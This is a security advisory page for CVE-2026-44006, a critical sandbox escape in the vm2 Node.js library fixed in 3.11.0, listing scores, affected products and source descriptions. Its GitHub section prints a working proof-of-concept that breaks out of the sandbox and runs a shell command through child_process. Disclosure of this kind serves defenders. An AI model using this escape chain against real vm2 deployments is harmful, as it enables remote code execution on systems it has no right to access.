10.0critical
vm2: Sandbox Escape
- Severity
- 10.0critical CVSS:3.1 by GitHub_M
- Exploit likelihood
- 0.81% (higher than 58% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- GitHub_M
- Also known as
- GHSA-qcp4-v2jj-fjx8
Description
vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, It is possible to reach BaseHandler.getPrototypeOf, which can be used to get arbitrary prototypes. This vulnerability is fixed in 3.11.0.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| patriksimek vm2 | < 3.11.0 | CVE List |
| ansible-automation-platform/automation-portal | Not specified Not affected: from 1785854226 before * | CVE List |
| rhdh/rhdh-hub-rhel9 | Not specified | CVE List |
| vm2 (npm) | before 3.11.0 | GitHub Advisory Database |
| vm2_project vm2 | before 3.11.0 | NVD |
All scores
| GitHub_M | 10.0critical CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| redhat-SADP | 10.0critical CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| GitHub | 10.0critical CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
Classification
What each source says
CVE List
vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, It is possible to reach BaseHandler.getPrototypeOf, which can be used to get arbitrary prototypes. This vulnerability is fixed in 3.11.0.
GitHub Advisory Database
Summary
It is possible to reach BaseHandler.getPrototypeOf, which can be used to get arbitrary prototypes
Details
BaseHandler can be reached via util.inspect (same as https://github.com/patriksimek/vm2/commit/57971fa423abeb66f09e47e18102986549474ca8)
PoC
let obj = {
subarray: Buffer.prototype.inspect,
slice: Buffer.prototype.slice,
hexSlice: () => '',
};
let sym;
obj.slice(10, {
showHidden: true,
showProxy: true,
depth: 10,
stylize(a) {
const handler = this.seen && this.seen[1];
if (handler && handler.getPrototypeOf) {
gP = handler.getPrototypeOf;
HObjectProto = gP(gP(gP(gP(Buffer))));
HObject = HObjectProto.constructor;
sym = HObject.getOwnPropertySymbols(Buffer.prototype).at(0);
}
return a;
},
});
obj = {
[sym]: (depth, opt, inspect) => {
inspect.constructor('return process')()
.getBuiltinModule('child_process')
.execSync('id', { stdio: 'inherit' });
},
valueOf: undefined,
constructor: undefined,
};
WebAssembly.compileStreaming(obj).catch(() => {});
Impact
Sandbox Escape -> RCE
NVD (es)
vm2 es un vm/sandbox de código abierto para Node.js. Antes de la versión 3.11.0, es posible alcanzar BaseHandler.getPrototypeOf, lo que puede usarse para obtener prototipos arbitrarios. Esta vulnerabilidad está corregida en la versión 3.11.0.
References
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2026-44006 changed 2026-09-07 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-qcp4-v2jj-fjx8 changed 2026-05-14 | CC-BY-4.0 |
| NVD | CVE-2026-44006 changed 2026-10-26 | Public domain |